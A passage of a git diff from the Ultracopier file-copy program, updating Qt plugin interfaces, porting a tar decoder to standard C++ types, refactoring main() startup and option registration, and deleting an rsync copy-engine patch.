- void removeItems(QList<int> ids);
- void moveItemsOnTop(QList<int> ids);
- void moveItemsUp(QList<int> ids);
- void moveItemsDown(QList<int> ids);
- void moveItemsOnBottom(QList<int> ids);
- void exportTransferList();
- void importTransferList();
- //user ask ask to add folder (add it with interface ask source/destination)
- void userAddFolder(CopyMode);
- void userAddFile(CopyMode);
- void urlDropped(QList<QUrl> urls);
- //action on the copy
- void pause();
- void resume();
- void skip(quint64 id);
- void cancel();
- //edit the action
- void sendCollisionAction(QString action);
- void sendErrorAction(QString action);
- void newSpeedLimitation(qint64);///< -1 if not able, 0 if disabled*/
+ /// \brief the new folder is listing
+ virtual void newFolderListing(const QString &path) = 0;
+ /** \brief show the detected speed
+ * in byte per seconds */
+ virtual void detectedSpeed(const quint64 &speed) = 0;
+ /** \brief show the remaining time
+ * time in seconds */
+ virtual void remainingTime(const int &remainingSeconds) = 0;
+ /// \brief set one error is detected
+ virtual void errorDetected() = 0;
+ /// \brief new error
+ virtual void errorToRetry(const QString &source,const QString &destination,const QString &error) = 0;
+ /** \brief support speed limitation */
+ virtual void setSupportSpeedLimitation(const bool &supportSpeedLimitationBool) = 0;
+ /// \brief get action on the transfer list (add/move/remove)
+ virtual void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions) = 0;
+ /// \brief show the general progression
+ virtual void setGeneralProgression(const quint64 &current,const quint64 &total) = 0;
+ /// \brief show the file progression
+ virtual void setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList) = 0;
+ public:
+ /// \brief get the widget for the copy engine
+ virtual QWidget * getOptionsEngineWidget() = 0;
+ /// \brief to set if the copy engine is found
+ virtual void getOptionsEngineEnabled(const bool &isEnabled) = 0;
+ /// \brief set the copyType -> file or folder
+ virtual void setCopyType(const Ultracopier::CopyType&) = 0;
+ /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
+ virtual void forceCopyMode(const Ultracopier::CopyMode&) = 0;
+ /// \brief set if transfer list is exportable/importable
+ virtual void setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation) = 0;
+ /** \brief set if the order is external (like file manager copy)
+ * to notify the interface, which can hide add folder/filer button */
+ virtual void haveExternalOrder() = 0;
+ /// \brief set if is in pause
+ virtual void isInPause(const bool &isInPause) = 0;
+ // signal to implement
+ signals:
+ //set the transfer list
+ void removeItems(const QList<int> &ids) const;
+ void moveItemsOnTop(const QList<int> &ids) const;
+ void moveItemsUp(const QList<int> &ids) const;
+ void moveItemsDown(const QList<int> &ids) const;
+ void moveItemsOnBottom(const QList<int> &ids) const;
+ void exportTransferList() const;
+ void importTransferList() const;
+ void exportErrorIntoTransferList() const;
+ //user ask ask to add folder (add it with interface ask source/destination)
+ void userAddFolder(const Ultracopier::CopyMode &mode) const;
+ void userAddFile(const Ultracopier::CopyMode &mode) const;
+ void urlDropped(const QList<QUrl> &urls) const;
+ //action on the copy
+ void pause() const;
+ void resume() const;
+ void skip(const quint64 &id) const;
+ void cancel() const;
+ //edit the action
+ void newSpeedLimitation(const qint64 &speedLimitation) const;///< -1 if not able, 0 if disabled
};
/// \brief To define the interface for the factory to do themes instance
class PluginInterface_ThemesFactory : public QObject
{
- Q_OBJECT
- public:
- /// \brief to get one instance
- virtual PluginInterface_Themes * getInstance() = 0;
- /// \brief to set resources, writePath can be empty if read only mode
- virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,bool portableVersion) = 0;
- /// \brief to get the default options widget
- virtual QWidget * options() = 0;
- /// \brief to get a resource icon
- virtual QIcon getIcon(const QString &fileName) = 0;
- public slots:
- /// \brief to reset as default the local options
- virtual void resetOptions() = 0;
- /// \brief retranslate the language because the language have changed
- virtual void newLanguageLoaded() = 0;
+ Q_OBJECT
+ public:
+ /// \brief to get one instance
+ virtual PluginInterface_Themes * getInstance() = 0;
+ /// \brief to set resources, writePath can be empty if read only mode
+ virtual void setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion) = 0;
+ /// \brief to get the default options widget
+ virtual QWidget * options() = 0;
+ /// \brief to get a resource icon
+ virtual QIcon getIcon(const QString &fileName) const = 0;
+ public slots:
+ /// \brief to reset as default the local options
+ virtual void resetOptions() = 0;
+ /// \brief retranslate the language because the language have changed
+ virtual void newLanguageLoaded() = 0;
+ signals:
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
};
-Q_DECLARE_INTERFACE(PluginInterface_ThemesFactory,"first-world.info.ultracopier.PluginInterface.ThemesFactory/0.3.0.8");
+Q_DECLARE_INTERFACE(PluginInterface_ThemesFactory,"first-world.info.ultracopier.PluginInterface.ThemesFactory/1.0.1.0");
#endif // PLUGININTERFACE_THEMES_H
diff --git a/lib/qt-tar-xz/QTarDecode.cpp b/lib/qt-tar-xz/QTarDecode.cpp
index fe15359..e1d9bce 100644
--- a/lib/qt-tar-xz/QTarDecode.cpp
+++ b/lib/qt-tar-xz/QTarDecode.cpp
@@ -1,113 +1,174 @@
/** \file QTarDecode.cpp
\brief To read a tar data block
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "QTarDecode.h"
-#include <QDebug>
+
+#include <inttypes.h>
+#include <regex>
+#include <cstring>
+#include <iostream>
+
+static const std::regex isaunsignednumber("^[0-9]+$",std::regex::optimize);
+static const std::regex isaunoctalnumber("^[0-7]+$",std::regex::optimize);
+static const char* const lut = "0123456789ABCDEF";
QTarDecode::QTarDecode()
{
- error="Unknow error";
+ error="Unknown error";
+}
+
+uint64_t QTarDecode::octaltouint64(const std::string &string,bool *ok)
+{
+ if(std::regex_match(string,isaunsignednumber))
+ {
+ if(ok!=NULL)
+ *ok=true;
+ return std::stoi(string,0,8);
+ }
+ else
+ {
+ if(ok!=NULL)
+ *ok=false;
+ return 0;
+ }
+}
+
+uint64_t QTarDecode::stringtouint64(const std::string &string,bool *ok)
+{
+ if(std::regex_match(string,isaunsignednumber))
+ {
+ if(ok!=NULL)
+ *ok=true;
+ return std::stoull(string);
+ }
+ else
+ {
+ if(ok!=NULL)
+ *ok=false;
+ return 0;
+ }
+}
+
+std::string QTarDecode::errorString()
+{
+ return error;
}
-QString QTarDecode::errorString()
+void QTarDecode::setErrorString(const std::string &error)
{
- return error;
+ this->error=error;
+ fileList.clear();
+ dataList.clear();
}
-void QTarDecode::setErrorString(QString error)
+bool QTarDecode::stringStartWith(std::string const &fullString, std::string const &starting)
{
- this->error=error;
- fileList.clear();
- dataList.clear();
+ if (fullString.length() >= starting.length()) {
+ return (fullString.substr(0,starting.length())==starting);
+ } else {
+ return false;
+ }
}
-bool QTarDecode::decodeData(QByteArray data)
+bool QTarDecode::decodeData(const std::vector<char> &data)
{
- setErrorString("Unknow error");
- if(data.size()<1024)
- return false;
- int offset=0;
- while(offset<data.size())
- {
- //load the file name from ascii, from 0+offset with size of 100
- QString fileName=data.mid(0+offset,100);
- //load the file type
- QString fileType=data.mid(156+offset,1);
- //load the ustar string
- QString ustar=data.mid(257+offset,5);
- //load the ustar version
- QString ustarVersion=data.mid(263+offset,2);
- bool ok;
- //load the file size from ascii, from 124+offset with size of 12
- int finalSize=QString(data.mid(124+offset,12)).toUInt(&ok,8);
- //if the size conversion to qulonglong have failed, then qui with error
- if(ok==false)
- {
- //if((offset+1024)==data.size())
- //it's the end of the archive, no more verification
- break;
- /*else
- {
- setErrorString("Unable to convert ascii size at "+QString::number(124+offset)+" to usigned long long: \""+QString(data.mid(124+offset,12))+"\"");
- return false;
- }*/
- }
- //if check if the ustar not found
- if(ustar!="ustar")
- {
- setErrorString("\"ustar\" string not found at "+QString::number(257+offset)+", content: \""+ustar+"\"");
- return false;
- }
- if(ustarVersion!="00")
- {
- setErrorString("ustar version string is wrong, content:\""+ustarVersion+"\"");
- return false;
- }
- //check if the file have the good size for load the data
- if((offset+512+finalSize)>data.size())
- {
- setErrorString("The tar file seem be too short");
- return false;
- }
- if(fileType=="0") //this code manage only the file, then only the file is returned
- {
- QByteArray fileData=data.mid(512+offset,finalSize);
- fileList << fileName;
- dataList << fileData;
- }
- //calculate the offset for the next header
- bool retenu=((finalSize%512)!=0);
- //go to the next header
- offset+=512+(finalSize/512+retenu)*512;
- }
- if(fileList.size()>0)
- {
- QString baseDirToTest=fileList.at(0);
- baseDirToTest.remove(QRegExp("/.*$"));
- baseDirToTest+='/';
- bool isFoundForAllEntries=true;
- for (int i = 0; i < fileList.size(); ++i)
- if(!fileList.at(i).startsWith(baseDirToTest))
- isFoundForAllEntries=false;
- if(isFoundForAllEntries)
- for (int i = 0; i < fileList.size(); ++i)
- fileList[i].remove(0,baseDirToTest.size());
- }
- return true;
+ setErrorString("Unknown error");
+ if(data.size()<1024)
+ return false;
+ unsigned int offset=0;
+ while(offset<data.size())
+ {
+ //load the file name from ascii, from 0+offset with size of 100
+ std::string fileName(data.data()+offset,100);
+ while(!fileName.empty() && fileName.at(fileName.size()-1)==0x00)
+ fileName.resize(fileName.size()-1);
+ //load the file type
+ std::string fileType(data.data()+156+offset,1);
+ while(!fileName.empty() && fileType.at(fileType.size()-1)==0x00)
+ fileType.resize(fileType.size()-1);
+ //load the ustar string
+ std::string ustar(data.data()+257+offset,5);
+ while(!fileName.empty() && ustar.at(ustar.size()-1)==0x00)
+ ustar.resize(ustar.size()-1);
+ //load the ustar version
+ std::string ustarVersion(data.data()+263+offset,2);
+ while(!fileName.empty() && ustarVersion.at(ustarVersion.size()-1)==0x00)
+ ustarVersion.resize(ustarVersion.size()-1);
+ bool ok=false;
+ //load the file size from ascii, from 124+offset with size of 12
+ uint64_t finalSize=0;
+ std::string sizeString(data.data()+124+offset,12);
+ if(sizeString.at(sizeString.size()-1)==0x00)
+ {
+ //the size is in octal base
+ sizeString.resize(sizeString.size()-1);
+ finalSize=octaltouint64(sizeString,&ok);
+ }
+ else
+ finalSize=stringtouint64(sizeString,&ok);
+ //if the size conversion to qulonglong have failed, then qui with error
+ if(ok==false)
+ {
+ //it's the end of the archive, no more verification
+ break;
+ }
+ //if check if the ustar not found
+ if(ustar!="ustar")
+ {
+ setErrorString("\"ustar\" string not found at "+std::to_string(257+offset)+", content: \""+ustar+"\"");
+ return false;
+ }
+ if(ustarVersion!="00")
+ {
+ setErrorString("ustar version string is wrong, content:\""+ustarVersion+"\"");
+ return false;
+ }
+ //check if the file have the good size for load the data
+ if((offset+512+finalSize)>data.size())
+ {
+ setErrorString("The tar file seem be too short");
+ return false;
+ }
+ if(fileType=="0") //this code manage only the file, then only the file is returned
+ {
+ std::vector<char> newdata;
+ newdata.resize(finalSize);
+ memcpy(newdata.data(),data.data()+512+offset,finalSize);
+ fileList.push_back(fileName);
+ dataList.push_back(newdata);
+ }
+ //calculate the offset for the next header
+ bool retenu=((finalSize%512)!=0);
+ //go to the next header
+ offset+=512+(finalSize/512+retenu)*512;
+ }
+ if(fileList.size()>0)
+ {
+ std::string baseDirToTest=fileList.at(0);
+ std::size_t found = baseDirToTest.find_last_of("/");
+ if(found!=std::string::npos && found>=baseDirToTest.size())
+ baseDirToTest.resize(baseDirToTest.size()-(baseDirToTest.size()-found));
+ bool isFoundForAllEntries=true;
+ for (unsigned int i = 0; i < fileList.size(); ++i)
+ if(!stringStartWith(fileList.at(i),baseDirToTest))
+ isFoundForAllEntries=false;
+ if(isFoundForAllEntries)
+ for (unsigned int i = 0; i < fileList.size(); ++i)
+ fileList[i].erase(0,baseDirToTest.size());
+ }
+ return true;
}
-QStringList QTarDecode::getFileList()
+std::vector<std::string> QTarDecode::getFileList()
{
- return fileList;
+ return fileList;
}
-QList<QByteArray> QTarDecode::getDataList()
+std::vector<std::vector<char> > QTarDecode::getDataList()
{
- return dataList;
+ return dataList;
}
diff --git a/lib/qt-tar-xz/QTarDecode.h b/lib/qt-tar-xz/QTarDecode.h
index 6e8e5e5..b37dc0e 100644
--- a/lib/qt-tar-xz/QTarDecode.h
+++ b/lib/qt-tar-xz/QTarDecode.h
@@ -1,37 +1,36 @@
/** \file QTarDecode.h
\brief To read a tar data block
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef QTARDECODE_H
#define QTARDECODE_H
-#include <QObject>
-#include <QList>
-#include <QByteArray>
-#include <QString>
-#include <QStringList>
+#include <vector>
+#include <string>
+#include <string>
/// \brief read the raw tar data, and organize it into data structure
-class QTarDecode : public QObject
+class QTarDecode
{
- public:
- QTarDecode();
- /// \brief to get the file list
- QStringList getFileList();
- /// \brief to get the data of the file
- QList<QByteArray> getDataList();
- /// \brief to pass the raw tar data
- bool decodeData(QByteArray data);
- /// \brief to return error string
- QString errorString();
- private:
- QStringList fileList;
- QList<QByteArray> dataList;
- QString error;
- void setErrorString(QString error);
+ public:
+ QTarDecode();
+ /// \brief to get the file list
+ std::vector<std::string> getFileList();
+ /// \brief to get the data of the file
+ std::vector<std::vector<char> > getDataList();
+ /// \brief to pass the raw tar data
+ bool decodeData(const std::vector<char> &data);
+ /// \brief to return error string
+ std::string errorString();
+ uint64_t stringtouint64(const std::string &string,bool *ok);
+ uint64_t octaltouint64(const std::string &string,bool *ok);
+ private:
+ std::vector<std::string> fileList;
+ std::vector<std::vector<char> > dataList;
+ std::string error;
+ void setErrorString(const std::string &error);
+ bool stringStartWith(std::string const &fullString, std::string const &starting);
};
#endif // QTARDECODE_H
diff --git a/lib/qt-tar-xz/QXzDecode.cpp b/lib/qt-tar-xz/QXzDecode.cpp
index 6aa13bb..2cf1209 100644
--- a/lib/qt-tar-xz/QXzDecode.cpp
+++ b/lib/qt-tar-xz/QXzDecode.cpp
@@ -1,8 +1,6 @@
/** \file QXzDecode.cpp
\brief To decompress a xz stream
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "QXzDecode.h"
diff --git a/lib/qt-tar-xz/QXzDecode.h b/lib/qt-tar-xz/QXzDecode.h
index 9a654f0..85cb04e 100644
--- a/lib/qt-tar-xz/QXzDecode.h
+++ b/lib/qt-tar-xz/QXzDecode.h
@@ -1,8 +1,6 @@
/** \file QXzDecode.h
\brief To decompress a xz stream
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef QXZDECODE_H
diff --git a/lib/qt-tar-xz/QXzDecodeThread.cpp b/lib/qt-tar-xz/QXzDecodeThread.cpp
index 9872cef..5e7f755 100644
--- a/lib/qt-tar-xz/QXzDecodeThread.cpp
+++ b/lib/qt-tar-xz/QXzDecodeThread.cpp
@@ -1,8 +1,6 @@
/** \file QXzDecodeThread.cpp
\brief To have thread to decode the data
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "QXzDecodeThread.h"
diff --git a/lib/qt-tar-xz/QXzDecodeThread.h b/lib/qt-tar-xz/QXzDecodeThread.h
index 6fedc22..1b69e4a 100644
--- a/lib/qt-tar-xz/QXzDecodeThread.h
+++ b/lib/qt-tar-xz/QXzDecodeThread.h
@@ -1,8 +1,6 @@
/** \file QXzDecodeThread.h
\brief To have thread to decode the data
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef QXZDECODETHREAD_H
diff --git a/main.cpp b/main.cpp
index 331a8a0..8aca198 100644
--- a/main.cpp
+++ b/main.cpp
@@ -1,36 +1,150 @@
/** \file main.cpp
\brief Define the main() for the point entry
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QApplication>
+#include <QtPlugin>
#include "Environment.h"
#include "EventDispatcher.h"
+#include "LanguagesManager.h"
+#include "ThemesManager.h"
+#include "DebugEngine.h"
+#include "ResourcesManager.h"
+#include "OptionEngine.h"
+#include "PluginsManager.h"
+
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ Q_IMPORT_PLUGIN(CopyEngineFactory)
+ Q_IMPORT_PLUGIN(ThemesFactory)
+ Q_IMPORT_PLUGIN(Listener)
+ #ifdef Q_OS_WIN32
+ Q_IMPORT_PLUGIN(WindowsExplorerLoader)
+ #if !defined(ULTRACOPIER_VERSION_PORTABLE)
+ Q_IMPORT_PLUGIN(WindowsSessionLoader)
+ #endif
+ #endif
+#endif
+#endif
+
+#ifdef ULTRACOPIER_DEBUG
+DebugModel *DebugModel::debugModel=NULL;
+DebugEngine *DebugEngine::debugEngine=NULL;
+#endif
+ResourcesManager *ResourcesManager::resourcesManager=NULL;
+OptionEngine *OptionEngine::optionEngine=NULL;
+PluginsManager *PluginsManager::pluginsManager=NULL;
+LanguagesManager *LanguagesManager::languagesManager=NULL;
+ThemesManager *ThemesManager::themesManager=NULL;
+
+void registerTheOptions()
+{
+ OptionEngine::optionEngine=new OptionEngine();
+
+ //register the var
+ //add the options to use
+ QList<QPair<QString, QVariant> > KeysList;
+ //add the options hidden, will not show in options pannel
+ KeysList.clear();
+ KeysList.append(qMakePair(QStringLiteral("Last_version_used"),QVariant("na")));
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ KeysList.append(qMakePair(QStringLiteral("key"),QStringLiteral("")));
+ #endif
+ KeysList.append(qMakePair(QStringLiteral("ActionOnManualOpen"),QVariant(1)));
+ KeysList.append(qMakePair(QStringLiteral("GroupWindowWhen"),QVariant(0)));
+ KeysList.append(qMakePair(QStringLiteral("displayOSSpecific"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("confirmToGroupWindows"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("giveGPUTime"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("remainingTimeAlgorithm"),QVariant(0)));
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ #if defined(Q_OS_WIN32) || defined(Q_OS_MAC)
+ KeysList.append(qMakePair(QStringLiteral("checkTheUpdate"),QVariant(true)));
+ #else
+ KeysList.append(qMakePair(QStringLiteral("checkTheUpdate"),QVariant(false)));
+ #endif
+ #endif
+ OptionEngine::optionEngine->addOptionGroup("Ultracopier",KeysList);
+
+ KeysList.clear();
+ KeysList.append(qMakePair(QStringLiteral("List"),QVariant(QStringList() << QStringLiteral("Ultracopier"))));
+ OptionEngine::optionEngine->addOptionGroup(QStringLiteral("CopyEngine"),KeysList);
+
+ //load the GUI option
+ QString defaultLogFile="";
+ if(ResourcesManager::resourcesManager->getWritablePath()!="")
+ defaultLogFile=ResourcesManager::resourcesManager->getWritablePath()+"ultracopier-files.log";
+ KeysList.clear();
+ KeysList.append(qMakePair(QStringLiteral("enabled"),QVariant(false)));
+ KeysList.append(qMakePair(QStringLiteral("file"),QVariant(defaultLogFile)));
+ KeysList.append(qMakePair(QStringLiteral("transfer"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("error"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("folder"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("sync"),QVariant(true)));
+ KeysList.append(qMakePair(QStringLiteral("transfer_format"),QVariant("[%time%] %source% (%size%) %destination%")));
+ KeysList.append(qMakePair(QStringLiteral("error_format"),QVariant("[%time%] %path%, %error%")));
+ KeysList.append(qMakePair(QStringLiteral("folder_format"),QVariant("[%time%] %operation% %path%")));
+ OptionEngine::optionEngine->addOptionGroup(QStringLiteral("Write_log"),KeysList);
+
+ KeysList.clear();
+ KeysList.append(qMakePair(QStringLiteral("CatchCopyAsDefault"),QVariant(true)));
+ OptionEngine::optionEngine->addOptionGroup(QStringLiteral("CopyListener"),KeysList);
+
+ KeysList.clear();
+ KeysList.append(qMakePair(QStringLiteral("LoadAtSessionStarting"),QVariant(true)));
+ OptionEngine::optionEngine->addOptionGroup(QStringLiteral("SessionLoader"),KeysList);
+}
/// \brief Define the main() for the point entry
int main(int argc, char *argv[])
{
- int returnCode;
- QApplication ultracopierApplication(argc, argv);
- ultracopierApplication.setApplicationVersion(ULTRACOPIER_VERSION);
- ultracopierApplication.setQuitOnLastWindowClosed(false);
- #ifdef ULTRACOPIER_DEBUG
- DebugEngine::getInstance();
- #endif // ULTRACOPIER_DEBUG
- //the main code, event loop of Qt and event dispatcher of ultracopier
- {
- EventDispatcher backgroundRunningInstance;
- if(backgroundRunningInstance.shouldBeClosed())
- returnCode=0;
- else
- returnCode=ultracopierApplication.exec();
- }
- #ifdef ULTRACOPIER_DEBUG
- DebugEngine::destroyInstanceAtTheLastCall();
- #endif // ULTRACOPIER_DEBUG
- return returnCode;
+ int returnCode;
+ QApplication ultracopierApplication(argc, argv);
+ ultracopierApplication.setApplicationVersion(ULTRACOPIER_VERSION);
+ ultracopierApplication.setQuitOnLastWindowClosed(false);
+ qRegisterMetaType<PluginsAvailable>("PluginsAvailable");
+ qRegisterMetaType<Ultracopier::DebugLevel>("Ultracopier::DebugLevel");
+ qRegisterMetaType<Ultracopier::CopyMode>("Ultracopier::CopyMode");
+ qRegisterMetaType<Ultracopier::ItemOfCopyList>("Ultracopier::ItemOfCopyList");
+
+ #ifdef ULTRACOPIER_DEBUG
+ DebugModel::debugModel=new DebugModel();
+ DebugEngine::debugEngine=new DebugEngine();
+ #endif
+ ResourcesManager::resourcesManager=new ResourcesManager();
+ registerTheOptions();
+
+ PluginsManager::pluginsManager=new PluginsManager();
+ LanguagesManager::languagesManager=new LanguagesManager();
+ ThemesManager::themesManager=new ThemesManager();
+
+ //the main code, event loop of Qt and event dispatcher of ultracopier
+ {
+ EventDispatcher backgroundRunningInstance;
+ if(backgroundRunningInstance.shouldBeClosed())
+ returnCode=0;
+ else
+ returnCode=ultracopierApplication.exec();
+ }
+
+ delete ThemesManager::themesManager;
+ ThemesManager::themesManager=NULL;
+ delete LanguagesManager::languagesManager;
+ LanguagesManager::languagesManager=NULL;
+ delete PluginsManager::pluginsManager;
+ PluginsManager::pluginsManager=NULL;
+ delete OptionEngine::optionEngine;
+ OptionEngine::optionEngine=NULL;
+ delete ResourcesManager::resourcesManager;
+ ResourcesManager::resourcesManager=NULL;
+ #ifdef ULTRACOPIER_DEBUG
+ delete DebugEngine::debugEngine;
+ DebugEngine::debugEngine=NULL;
+ delete DebugModel::debugModel;
+ DebugModel::debugModel=NULL;
+ #endif
+
+ return returnCode;
}
diff --git a/patch/comercial/rsync-copy-engine.patch b/patch/comercial/rsync-copy-engine.patch
deleted file mode 100644
index f469d50..0000000
--- a/patch/comercial/rsync-copy-engine.patch
+++ /dev/null
@@ -1,902 +0,0 @@
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/ListThread.cpp Rsync/ListThread.cpp
---- Ultracopier-0.3/ListThread.cpp 2012-06-26 14:12:53.082114806 +0200
-+++ Rsync/ListThread.cpp 2012-06-29 22:21:40.395733284 +0200
-@@ -28,6 +28,7 @@
- numberOfInodeOperation = 0;
- maxSpeed = 0;
- doRightTransfer = false;
-+ rsync = false;
- keepDate = false;
- blockSize = 1024;
- osBufferLimit = 512;
-@@ -265,6 +266,21 @@
- this->autoStart=autoStart;
- }
-
-+/// \brief set rsync
-+void ListThread::setRsync(const bool rsync)
-+{
-+ this->rsync=rsync;
-+ int index=0;
-+ loop_sub_size_transfer_thread_search=transferThreadList.size();
-+ while(index<loop_sub_size_transfer_thread_search)
-+ {
-+ transferThreadList.at(index)->setRsync(rsync);
-+ index++;
-+ }
-+ for(int i=0;i<scanFileOrFolderThreadsPool.size();i++)
-+ scanFileOrFolderThreadsPool.at(i)->setRsync(rsync);
-+}
-+
- //set check destination folder
- void ListThread::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
- {
-@@ -327,11 +343,13 @@
- #endif
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(newFolderListing(QString)), this,SIGNAL(newFolderListing(QString)));
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToRmPath(QString,int)), this,SLOT(addToRmPath(QString,int)), Qt::QueuedConnection);
-+ connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToRmForRsync(QString)), this,SLOT(addToRmForRsync(QString)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(addToMkPath(QString)), this,SLOT(addToMkPath(QString)), Qt::QueuedConnection);
-
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(errorOnFolder(QFileInfo,QString)), this,SLOT(errorOnFolder(QFileInfo,QString)), Qt::QueuedConnection);
- connect(scanFileOrFolderThreadsPool.last(),SIGNAL(folderAlreadyExists(QFileInfo,QFileInfo,bool)), this,SLOT(folderAlreadyExists(QFileInfo,QFileInfo,bool)), Qt::QueuedConnection);
-
-+ scanFileOrFolderThreadsPool.last()->setRsync(rsync);
- scanFileOrFolderThreadsPool.last()->setFilters(include,exclude);
- scanFileOrFolderThreadsPool.last()->setCheckDestinationFolderExists(checkDestinationFolderExists && alwaysDoThisActionForFolderExists!=FolderExists_Merge);
- if(scanFileOrFolderThreadsPool.size()==1)
-@@ -761,6 +779,18 @@
- actionToDoListInode_afterTheTransfer << temp;
- }
-
-+//rsync rm
-+void ListThread::addToRmForRsync(const QString& inode)
-+{
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"inode: "+inode);
-+ actionToDoInode temp;
-+ temp.type = ActionType_RmSync;
-+ temp.id = generateIdNumber();
-+ temp.folder.setFile(inode);
-+ temp.isRunning = false;
-+ actionToDoListInode << temp;
-+}
-+
- //send action done
- void ListThread::sendActionDone()
- {
-@@ -1526,7 +1556,7 @@
- loop_size=actionToDoListInode.size();
- while(int_for_loop<loop_size)
- {
-- if(actionToDoListInode.at(int_for_loop).type==ActionType_RmPath)
-+ if(actionToDoListInode.at(int_for_loop).type==ActionType_RmPath || actionToDoListInode.at(int_for_loop).type==ActionType_RmSync)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("stop rmpath: %1").arg(actionToDoListInode.at(int_for_loop).folder.absoluteFilePath()));
- actionToDoListInode.removeAt(int_for_loop);
-@@ -1658,6 +1688,7 @@
- last->set_osBuffer(osBuffer);
- last->set_osBufferLimited(osBufferLimited);
- last->set_osBufferLimit(osBufferLimit);
-+ last->setRsync(rsync);
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(last,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)), Qt::QueuedConnection);
-@@ -1669,7 +1700,7 @@
- connect(last,SIGNAL(preOperationStopped()), this,SLOT(doNewActions_start_transfer()), Qt::QueuedConnection);
- connect(last,SIGNAL(postOperationStopped()), this,SLOT(transferInodeIsClosed()), Qt::QueuedConnection);
- connect(last,SIGNAL(checkIfItCanBeResumed()), this,SLOT(restartTransferIfItCan()), Qt::QueuedConnection);
-- connect(last,SIGNAL(pushStat(TransferStat,quint64)), this,SLOT(newTransferStat(TransferStat,quint64)), Qt::QueuedConnection);
-+ connect(last,SIGNAL(pushStat(TransferStat,quint64)), this,SLOT(newTransferStat(TransferStat,quint64)), Qt::QueuedConnection);
-
- connect(this,SIGNAL(send_sendNewRenamingRules(QString,QString)), last,SLOT(setRenamingRules(QString,QString)), Qt::QueuedConnection);
-
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/ListThread.h Rsync/ListThread.h
---- Ultracopier-0.3/ListThread.h 2012-06-25 16:46:19.931261209 +0200
-+++ Rsync/ListThread.h 2012-06-29 21:53:37.495762350 +0200
-@@ -77,7 +77,8 @@
- enum ActionType
- {
- ActionType_MkPath=1,
-- ActionType_RmPath=2
-+ ActionType_RmPath=2,
-+ ActionType_RmSync=3
- };
- /// \brief to store one action to do
- struct actionToDoInode
-@@ -155,6 +156,8 @@
- void setBlockSize(const int blockSize);
- /// \brief set auto start
- void setAutoStart(const bool autoStart);
-+ /// \brief set rsync
-+ void setRsync(const bool rsync);
- /// \brief set check destination folder
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- /// \brief set data local to the thread
-@@ -196,6 +199,7 @@
- quint64 bytesToTransfer;
- quint64 bytesTransfered;
- bool autoStart;
-+ bool rsync;
- bool putInPause;
- QList<returnActionOnCopyList> actionDone;///< to action to send to the interface
- quint64 idIncrementNumber;///< to store the last id returned
-@@ -302,6 +306,8 @@
- quint64 addToMkPath(const QString& folder);
- //add rm path to do
- void addToRmPath(const QString& folder,const int& inodeToRemove);
-+ //rsync rm
-+ void addToRmForRsync(const QString& inode);
- //send the progression, after full reset of the interface (then all is empty)
- void syncTransferList_internal();
- signals:
-diff -U 3 -H -d -r -N -- Ultracopier-0.3/ListThread_InodeAction.cpp Rsync/ListThread_InodeAction.cpp
---- Ultracopier-0.3/ListThread_InodeAction.cpp 2012-06-29 21:57:47.000000000 +0200
-+++ Rsync/ListThread_InodeAction.cpp 2012-06-29 22:19:11.515735854 +0200
-@@ -19,6 +19,14 @@
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- break;
-+case ActionType_RmSync:
-+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("launch rm to sync: %1").arg(currentActionToDoInode.folder.absoluteFilePath()));
-+ rmPathQueue.addPath(currentActionToDoInode.folder.absoluteFilePath(),true);
-+ currentActionToDoInode.isRunning=true;
-+ numberOfInodeOperation++;
-+ if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
-+ return;
-+break;
- case ActionType_RmPath:
- /* What is this code?
- if((int_for_loop+number_rm_path_moved)>=(loop_size-1))
-@@ -34,7 +42,7 @@
- if(numberOfTranferRuning>0)
